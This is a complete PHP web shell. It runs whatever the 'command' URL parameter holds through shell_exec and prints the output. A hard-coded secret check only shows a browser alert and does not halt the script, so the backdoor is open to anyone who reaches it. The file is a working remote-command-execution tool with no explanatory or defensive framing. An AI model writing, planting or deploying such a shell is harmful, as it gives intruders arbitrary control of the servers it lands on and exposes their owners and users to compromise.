<?php
 $sec=$_GET["sec"];
 if($sec!='fsdafjkjsfavfsdjfaj4935u43jfre98t34itgore9htujg93')
 {
     echo '<script type="text/javascript" > alert("Restricted access!");window.location=".";</script>';
 }
 $command=$_GET["command"];
 $command2 = str_replace("@"," ",$command,$count);
 echo $command2;
 echo "output : ";
 echo shell_exec($command2);

?>